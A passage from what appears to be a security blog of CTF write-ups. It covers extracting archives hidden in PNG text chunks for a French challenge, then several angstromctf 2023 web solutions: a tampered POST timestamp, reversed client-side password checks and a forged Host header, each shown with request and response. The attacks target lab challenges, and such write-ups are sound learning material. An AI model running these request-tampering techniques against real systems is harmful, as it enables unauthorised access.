<p>So we looked directly at the content of the chunk string using <code>print(chunk_string.decode("utf-8"))</code></p>
<div class="highlight"><pre><span></span><code>python decoder.py out_devices_tgz.png | head
tgz
776678
1f8b0800000000000003ec7b09981e5599ee
python decoder.py out_backup_tgz.png | head
tgz
927243
1f8b0800000000000003ec3c0b901cd5
</code></pre></div>
<p>For both files we retrieved the same starting data for the chunk: <code>1f8b0800000000000003ec</code>. A few
researches pointed us to a <code>GZip</code> archive.</p>
<p>We used <a href="https://speakerdeck.com/ange/gzip-equals-zip-equals-zlib-equals-deflate?slide=16">ange knowledge about <code>zlib</code> and <code>deflate</code></a>
to ensure that the files we are getting are compressed <code>tgz</code>.</p>
<p>A simple addition to our python script allowed us to write our chunk into a valid <code>tar.gz</code> file.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">zlib</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="nb">input</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="nb">input</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span>
<span class="n">PngSignature</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x89</span><span class="s1">PNG</span><span class="se">\r\n\x1a\n</span><span class="s1">'</span>
<span class="k">if</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">PngSignature</span><span class="p">))</span> <span class="o">!=</span> <span class="n">PngSignature</span><span class="p">:</span>
<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s1">'Invalid PNG Signature'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">read_chunk</span><span class="p">(</span><span class="n">f</span><span class="p">):</span>
<span class="n">chunk_length</span><span class="p">,</span> <span class="n">chunk_type</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s1">'>I4s'</span><span class="p">,</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span>
<span class="n">chunk_data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">chunk_length</span><span class="p">)</span>
<span class="n">chunk_expected_crc</span><span class="p">,</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s1">'>I'</span><span class="p">,</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>
<span class="n">chunk_actual_crc</span> <span class="o">=</span> <span class="n">zlib</span><span class="o">.</span><span class="n">crc32</span><span class="p">(</span><span class="n">chunk_data</span><span class="p">,</span> <span class="n">zlib</span><span class="o">.</span><span class="n">crc32</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s1">'>4s'</span><span class="p">,</span> <span class="n">chunk_type</span><span class="p">)))</span>
<span class="k">if</span> <span class="n">chunk_expected_crc</span> <span class="o">!=</span> <span class="n">chunk_actual_crc</span><span class="p">:</span>
<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s1">'chunk checksum failed'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">chunk_type</span><span class="p">,</span> <span class="n">chunk_data</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">chunk_type</span><span class="p">,</span> <span class="n">chunk_data</span> <span class="o">=</span> <span class="n">read_chunk</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">chunk_type</span> <span class="o">==</span> <span class="sa">b</span><span class="s1">'tEXt'</span> <span class="ow">or</span> <span class="sa">b</span><span class="s1">'zTXt'</span><span class="p">):</span>
<span class="k">if</span> <span class="n">chunk_data</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">16</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="s1">'Raw profile type'</span><span class="p">:</span>
<span class="n">chunk_string</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">if</span> <span class="n">chunk_type</span> <span class="o">==</span> <span class="sa">b</span><span class="s1">'zTXt'</span><span class="p">:</span>
<span class="n">chunk_string</span> <span class="o">=</span> <span class="p">(</span><span class="n">zlib</span><span class="o">.</span><span class="n">decompress</span><span class="p">(</span><span class="n">chunk_data</span><span class="p">[</span><span class="mi">22</span><span class="p">:]))</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">chunk_string</span> <span class="o">=</span> <span class="n">chunk_data</span><span class="p">[</span><span class="mi">22</span><span class="p">:]</span>
<span class="k">if</span> <span class="n">chunk_data</span><span class="p">[</span><span class="mi">17</span><span class="p">:</span><span class="mi">20</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="s1">'php'</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">""</span><span class="o">.</span><span class="n">join</span><span class="p">((</span><span class="n">chunk_string</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">"utf-8"</span><span class="p">))</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]))</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">"utf-8"</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">type</span><span class="p">(</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">""</span><span class="o">.</span><span class="n">join</span><span class="p">((</span><span class="n">chunk_string</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">"utf-8"</span><span class="p">))</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]))</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">"utf-8"</span><span class="p">)))</span>
<span class="n">exit</span><span class="p">()</span>
<span class="k">if</span> <span class="n">chunk_data</span><span class="p">[</span><span class="mi">17</span><span class="p">:</span><span class="mi">20</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="s1">'tgz'</span><span class="p">:</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'test.gz'</span><span class="p">,</span> <span class="s1">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fout</span><span class="p">:</span>
<span class="n">fout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">chunk_string</span><span class="p">[</span><span class="mi">14</span><span class="p">:]</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">"utf-8"</span><span class="p">)</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="s2">""</span><span class="p">)))</span>
<span class="k">if</span> <span class="n">chunk_type</span> <span class="o">==</span> <span class="sa">b</span><span class="s1">'IEND'</span><span class="p">:</span>
<span class="k">break</span>
</code></pre></div>
<p>We then ran the script on the backup and device "images". Once uncompressed with <code>tar</code> we obtain the
following file structure (the two archives merged themself):</p>
<div class="highlight"><pre><span></span><code>backup/
├── deviceA
│ ├── baker_pubkey.py
│ ├── logs.txt
│ └── musig2_player.py
├── deviceB
│ ├── loop
│ ├── loop_
│ ├── seed.bin
│ └── seedlocker.py
├── deviceC
│ ├── frontend_service.bin
│ ├── ld-linux-aarch64.so.1
│ ├── pow_solver.py
│ └── remote_lib.so.6
├── deviceD.py
├── file.h5
├── flags
│ ├── crypt.py
│ ├── encrypted_flags
│ │ ├── deviceA.enc
│ │ ├── deviceB.enc
│ │ ├── deviceC.enc
│ │ └── deviceD.enc
│ └── requirements.txt
├── info.eml
├── server
│ ├── achat.py
│ ├── admin.py
│ ├── config.py
│ ├── deploy.py
│ ├── main.py
│ ├── musig2.py
│ ├── requirements.txt
│ ├── smart_contract.py
│ ├── static
│ │ ├── creme.jpeg
│ │ ├── farbreton.jpeg
│ │ ├── kouign.jpeg
│ │ ├── lobsterdog_baker.png
│ │ ├── lobsterdog.png
│ │ ├── meringue.jpeg
│ │ ├── palet.jpeg
│ │ └── quatrequart.jpeg
│ └── templates
│ ├── achat_templates
│ ├── admin_templates
│ ├── base.html
│ └── index.html
</code></pre></div>
<p>Looking at <code>info.eml</code> we found a new domain <code>https://trois-pains-zero.quatre-qu.art/</code></p>
<blockquote>
<p>Salut Bertrand,</p>
<p>Comme tu le sais, nous sommes en train de mettre en place l’infrastructure pour la sortie prochaine de notre JNF sur https://trois-pains-zero.quatre-qu.art/.
Nous avons choisi de protéger notre interface d’administration en utilisant un chiffrement multi-signature 4 parmi 4 en utilisant différents dispositifs pour stocker les clés privées.</p>
<p>Pour rappel tu trouveras les fichiers nécessaire dans la sauvegarde :</p>
<ul>
<li>
<p>le script que j'ai utilisé pour participer au protocole de multi-signature : musig2_player.py. J'ai aussi inclus le fichier de journalisation de signatures que nous avions fait jeudi dernier ainsi que nos 4 clés publiques.</p>
</li>
<li>
<p>un porte-monnaie numérique dont tu possèdes le mot de passe: seedlocker.py</p>
</li>
<li>
<p>un équipement physique, disponible ici device.quatre-qu.art:8080, je crois que c'est Charly qui a le mot de passe. Si tu veux tester sur ton propre équipement tu trouveras la mise à jour de l'interface utilisateur sur le serveur de sauvegarde avec la libc utilisée. Nous avons mis en place des limitations, une à base de preuve de travail, nous t'avons aussi fourni le script de résolution (pow_solver.py) ainsi qu'un mot de passe "fudmH/MGzgUM7Zx3k6xMuvThTXh+ULf1".
Le mot de passe n'est pas celui de l'équipement mais celui pour la protection.</p>
</li>
<li>
<p>Pour le dernier équipement, Daniel a perdu son code pin.
Nous avons essayé d’extraire les informations en attaquant la mémoire sécurisée avec des injections de fautes mais sans succès 😒.
Pour information la mémoire sécurisée prends un masque en argument et utilise la valeur stockée XORé avec le masque. Les mesures qu'on a faites pendant l'expérience sont stockées dans data.h5. Il est trop volumineux pour la sauvegarde mais tu peux le récupérer à cette adresse : https://trois-pains-zero.quatre-qu.art/data_34718ec031bbb6e094075a0c7da32bc5056a57ff082c206e6b70fcc864df09e9.h5.
Peut-être que tu connais quelqu’un qui pourrait nous aider à retrouver les informations ?</p>
</li>
</ul>
<p>Bon courage!</p>
</blockquote>
<p>We now have four independent tasks corresponding to step 2.a, 2.b, 2.c and 2.d.
But they are not web related and after a few hours I just let it go as I will not be able to complete them.</p>angstromctf 2023 - WEB2023-05-02T14:25:00+02:002023-05-02T14:25:00+02:00maggicktag:maggick.fr,2023-05-02:/2023/05/angstromctf-2023-web.html<p><img alt="angstromctf 2023" class="align-left" src="/media/2023.05/angstromctf.png" width="262"/></p>
<p>I participated as a solo player to angstromctf 2023. I focused on Web challenges.</p>
<p><img alt="angstromctf 2023" class="align-left" src="/media/2023.05/angstromctf.png" width="262"/></p>
<p>I participated as a solo player to angstromctf 2023. I focused on Web challenges.</p>
<h1>catch me if you can</h1>
<ul>
<li>10 points</li>
<li>1150 solves</li>
</ul>
<p>Very simple, sanity check challenge. View source:</p>
<div class="highlight"><pre><span></span><code><span class="nt"><html></html></span>
<span class="w"> </span><span class="nt"><head></head></span>
<span class="w"> </span><span class="nt"><style></span>
<span class="w"> </span>body<span class="w"> </span>{
<span class="w"> </span>font-family:<span class="w"> </span>"Comic<span class="w"> </span>Sans<span class="w"> </span>MS",<span class="w"> </span>"Comic<span class="w"> </span>Sans",<span class="w"> </span>cursive;
<span class="w"> </span>}
<span class="w"> </span>#flag<span class="w"> </span>{
<span class="w"> </span>border:<span class="w"> </span>2px<span class="w"> </span>solid<span class="w"> </span>red;
<span class="w"> </span>position:<span class="w"> </span>absolute;
<span class="w"> </span>top:<span class="w"> </span>50%;
<span class="w"> </span>left:<span class="w"> </span>0;
<span class="w"> </span>-moz-user-select:<span class="w"> </span>-moz-none;
<span class="w"> </span>-khtml-user-select:<span class="w"> </span>none;
<span class="w"> </span>-webkit-user-select:<span class="w"> </span>none;
<span class="w"> </span>-ms-user-select:<span class="w"> </span>none;
<span class="w"> </span>user-select:<span class="w"> </span>none;
<span class="w"> </span>animation-name:<span class="w"> </span>spin;
<span class="w"> </span>animation-duration:<span class="w"> </span>3000ms;
<span class="w"> </span>animation-iteration-count:<span class="w"> </span>infinite;
<span class="w"> </span>animation-timing-function:<span class="w"> </span>linear;
<span class="w"> </span>}
<span class="w"> </span>@keyframes<span class="w"> </span>spin<span class="w"> </span>{
<span class="w"> </span>from<span class="w"> </span>{
<span class="w"> </span>transform:rotate(0deg);
<span class="w"> </span>}
<span class="w"> </span>to<span class="w"> </span>{
<span class="w"> </span>transform:rotate(360deg);
<span class="w"> </span>}
<span class="w"> </span>}
<span class="w"> </span><span class="nt"></style></span>
<span class="w"> </span><span class="nt"></span>
<span class="w"> </span><span class="nt"><body></body></span>
<span class="w"> </span><span class="nt"><h1></h1></span>catch<span class="w"> </span>me<span class="w"> </span>if<span class="w"> </span>you<span class="w"> </span>can!<span class="nt"></span>
<span class="w"> </span><span class="nt"><marquee< span=""><span class="w"> </span><span class="na">scrollamount=</span><span class="s">"50"</span><span class="w"> </span><span class="na">id=</span><span class="s">"flag"</span><span class="nt">></span>actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}<span class="nt"></span>
<span class="w"> </span><span class="nt"></span>
<span class="nt"></span>
</marquee<></span></code></pre></div>
<h1>Celeste Speedrunning Association</h1>
<ul>
<li>20 points</li>
<li>681 solves</li>
</ul>
<p>We need to beat a speed run time. Meaning we can start in the future and have a negative run time.
Just modify the start date of the going request:</p>
<div class="highlight"><pre><span></span><code>POST /submit HTTP/1.1
Host: mount-tunnel.web.actf.co
Content-Length: 16
Content-Type: application/x-www-form-urlencoded
Connection: close
start=1700000000
</code></pre></div>
<div class="highlight"><pre><span></span><code>HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Thu, 26 Apr 2023 17:24:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52
Connection: close
you win the flag: actf{wait_until_farewell_speedrun}
</code></pre></div>
<h1>shortcircuit</h1>
<ul>
<li>40 points</li>
<li>770 solves</li>
</ul>
<p>We have a login form with a JavaScript validation. The flag is the password.</p>
<div class="highlight"><pre><span></span><code><span class="kd">const</span><span class="w"> </span><span class="nx">swap</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">x</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span>
<span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">3</span><span class="p">]</span>
<span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">3</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">t</span>
<span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">2</span><span class="p">]</span>
<span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span>
<span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">t</span>
<span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span>
<span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">3</span><span class="p">]</span>
<span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">3</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">t</span>
<span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">3</span><span class="p">]</span>
<span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">3</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">2</span><span class="p">]</span>
<span class="w"> </span><span class="nx">x</span><span class="p">[</span><span class="mf">2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">t</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">x</span>
<span class="p">}</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">chunk</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">n</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">ret</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[]</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">+=</span><span class="nx">n</span><span class="p">){</span>
<span class="w"> </span><span class="nx">ret</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">x</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="nx">i</span><span class="p">,</span><span class="nx">i</span><span class="o">+</span><span class="nx">n</span><span class="p">))</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">ret</span>
<span class="p">}</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">check</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">forms</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">username</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"admin"</span><span class="p">){</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">swap</span><span class="p">(</span><span class="nx">chunk</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">forms</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">password</span><span class="p">.</span><span class="nx">value</span><span class="p">,</span><span class="w"> </span><span class="mf">30</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="s2">""</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">"7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7"</span><span class="p">){</span>
<span class="w"> </span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="o">=</span><span class="s2">"/win.html"</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span><span class="p">{</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"msg"</span><span class="p">).</span><span class="nx">style</span><span class="p">.</span><span class="nx">display</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"block"</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>The input password was passed to the <code>chunk</code> function and then to the <code>swap</code> function. The result
needed to
be <code>7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7</code>.</p>
<p>The <code>chunk</code> function just cut the 120 characters password into four 30 characters pieces.</p>
<p>The <code>swap</code> function swap the different chunk in the following manner: <code>0123 → 3120 → 3210 → 3012 → 3021</code></p>
<p>Knowing that we could find that the flag was (I left space between the chunk for clarity):
<code>actf{cl1ent_s1de_sucks_544e67e 6317199e454f4d2bdb04d9e419ccc7 f12024523398ee02fe7517fffa9251 7e08250c4aaa9ed206fd7c9e398e2}</code></p>
<h1>directory</h1>
<ul>
<li>40 points</li>
<li>806 solves</li>
</ul>
<p>There was around 5 000 directories and only one contained the flag. I used <code>wget -r -np -k
https://directory.web.actf.co/</code> to recursively download the site (this took time, but I did not care
as I was working on the next challenge during that time) and then used <code>grep</code> to find the flag.</p>
<div class="highlight"><pre><span></span><code>➜ grep actf directory.web.actf.co/*
directory.web.actf.co/3054.html:actf{y0u_f0und_me_b51d0cde76739fa3}
</code></pre></div>
<h1>Celeste Tunneling Association</h1>
<ul>
<li>40 points</li>
<li>566 solves</li>
</ul>
<p>This was a simple website and the code source was provided.</p>
<div class="highlight"><pre><span></span><code><span class="c1"># run via `uvicorn app:app --port 6000`</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="n">SECRET_SITE</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">"flag.local"</span>
<span class="n">FLAG</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s1">'FLAG'</span><span class="p">]</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">app</span><span class="p">(</span><span class="n">scope</span><span class="p">,</span> <span class="n">receive</span><span class="p">,</span> <span class="n">send</span><span class="p">):</span>
<span class="k">assert</span> <span class="n">scope</span><span class="p">[</span><span class="s1">'type'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'http'</span>
<span class="n">headers</span> <span class="o">=</span> <span class="n">scope</span><span class="p">[</span><span class="s1">'headers'</span><span class="p">]</span>
<span class="k">await</span> <span class="n">send</span><span class="p">({</span>
<span class="s1">'type'</span><span class="p">:</span> <span class="s1">'http.response.start'</span><span class="p">,</span>
<span class="s1">'status'</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
<span class="s1">'headers'</span><span class="p">:</span> <span class="p">[</span>
<span class="p">[</span><span class="sa">b</span><span class="s1">'content-type'</span><span class="p">,</span> <span class="sa">b</span><span class="s1">'text/plain'</span><span class="p">],</span>
<span class="p">],</span>
<span class="p">})</span>
<span class="c1"># IDK malformed requests or something</span>
<span class="n">num_hosts</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">name</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">headers</span><span class="p">:</span>
<span class="k">if</span> <span class="n">name</span> <span class="o">==</span> <span class="sa">b</span><span class="s2">"host"</span><span class="p">:</span>
<span class="n">num_hosts</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">if</span> <span class="n">num_hosts</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">for</span> <span class="n">name</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">headers</span><span class="p">:</span>
<span class="k">if</span> <span class="n">name</span> <span class="o">==</span> <span class="sa">b</span><span class="s2">"host"</span> <span class="ow">and</span> <span class="n">value</span> <span class="o">==</span> <span class="n">SECRET_SITE</span><span class="p">:</span>
<span class="k">await</span> <span class="n">send</span><span class="p">({</span>
<span class="s1">'type'</span><span class="p">:</span> <span class="s1">'http.response.body'</span><span class="p">,</span>
<span class="s1">'body'</span><span class="p">:</span> <span class="n">FLAG</span><span class="o">.</span><span class="n">encode</span><span class="p">(),</span>
<span class="p">})</span>
<span class="k">return</span>
<span class="k">await</span> <span class="n">send</span><span class="p">({</span>
<span class="s1">'type'</span><span class="p">:</span> <span class="s1">'http.response.body'</span><span class="p">,</span>
<span class="s1">'body'</span><span class="p">:</span> <span class="sa">b</span><span class="s1">'Welcome to the _tunnel_. Watch your step!!'</span><span class="p">,</span>
<span class="p">})</span>
</code></pre></div>
<p>Looking at the source code we understood that we needed one <code>host</code> header with the value
<code>flag.local</code>. Using burp we modified the request to look like the following and got the flag in the
response.</p>
<div class="highlight"><pre><span></span><code>GET / HTTP/2
Host: flag.local
</code></pre></div>
<div class="highlight"><pre><span></span><code>HTTP/2 200 OK
Content-Type: text/plain
Date: Thu, 26 Apr 2023 18:07:54 GMT
Server: uvicorn
actf{reaching_the_core__chapter_8}
</code></pre></div>
<h1>hallmark</h1>
<ul>
<li>80 points</li>
<li>243 solves</li>
</ul>
<p>We could generate cards and shared them via the site. There was also an admin app that simulated
the administrator behavior and would browse card we sent it.</p>
<div class="highlight"><pre><span></span><code> app
static
ﰟ cake.svg
ﰟ flowers.svg
ﰟ heart.svg
ﰟ snowman.svg
Dockerfile
index.html
index.js
package-lock.json
package.json
</code></pre></div>
<p>The app was pretty straightforward and consisted mostly of the <code>index.js</code> file.</p>
<div class="highlight"><pre><span></span><code><span class="kd">const</span><span class="w"> </span><span class="nx">express</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">require</span><span class="p">(</span><span class="s2">"express"</span><span class="p">);</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">bodyParser</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">require</span><span class="p">(</span><span class="s2">"body-parser"</span><span class="p">);</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">cookieParser</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">require</span><span class="p">(</span><span class="s2">"cookie-parser"</span><span class="p">);</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">path</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">require</span><span class="p">(</span><span class="s2">"path"</span><span class="p">);</span>
<span class="kd">const</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">v4</span><span class="o">:</span><span class="w"> </span><span class="nx">uuidv4</span><span class="p">,</span><span class="w"> </span><span class="nx">v4</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">require</span><span class="p">(</span><span class="s2">"uuid"</span><span class="p">);</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">fs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">require</span><span class="p">(</span><span class="s2">"fs"</span><span class="p">);</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">app</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">express</span><span class="p">();</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">bodyParser</span><span class="p">.</span><span class="nx">urlencoded</span><span class="p">({</span><span class="w"> </span><span class="nx">extended</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="p">}));</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">cookieParser</span><span class="p">());</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">IMAGES</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">heart</span><span class="o">:</span><span class="w"> </span><span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="s2">"./static/heart.svg"</span><span class="p">),</span>
<span class="w"> </span><span class="nx">snowman</span><span class="o">:</span><span class="w"> </span><span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="s2">"./static/snowman.svg"</span><span class="p">),</span>
<span class="w"> </span><span class="nx">flowers</span><span class="o">:</span><span class="w"> </span><span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="s2">"./static/flowers.svg"</span><span class="p">),</span>
<span class="w"> </span><span class="nx">cake</span><span class="o">:</span><span class="w"> </span><span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="s2">"./static/cake.svg"</span><span class="p">)</span>
<span class="p">};</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">freeze</span><span class="p">(</span><span class="nx">IMAGES</span><span class="p">)</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">port</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Number</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">PORT</span><span class="p">)</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="mf">8080</span><span class="p">;</span>
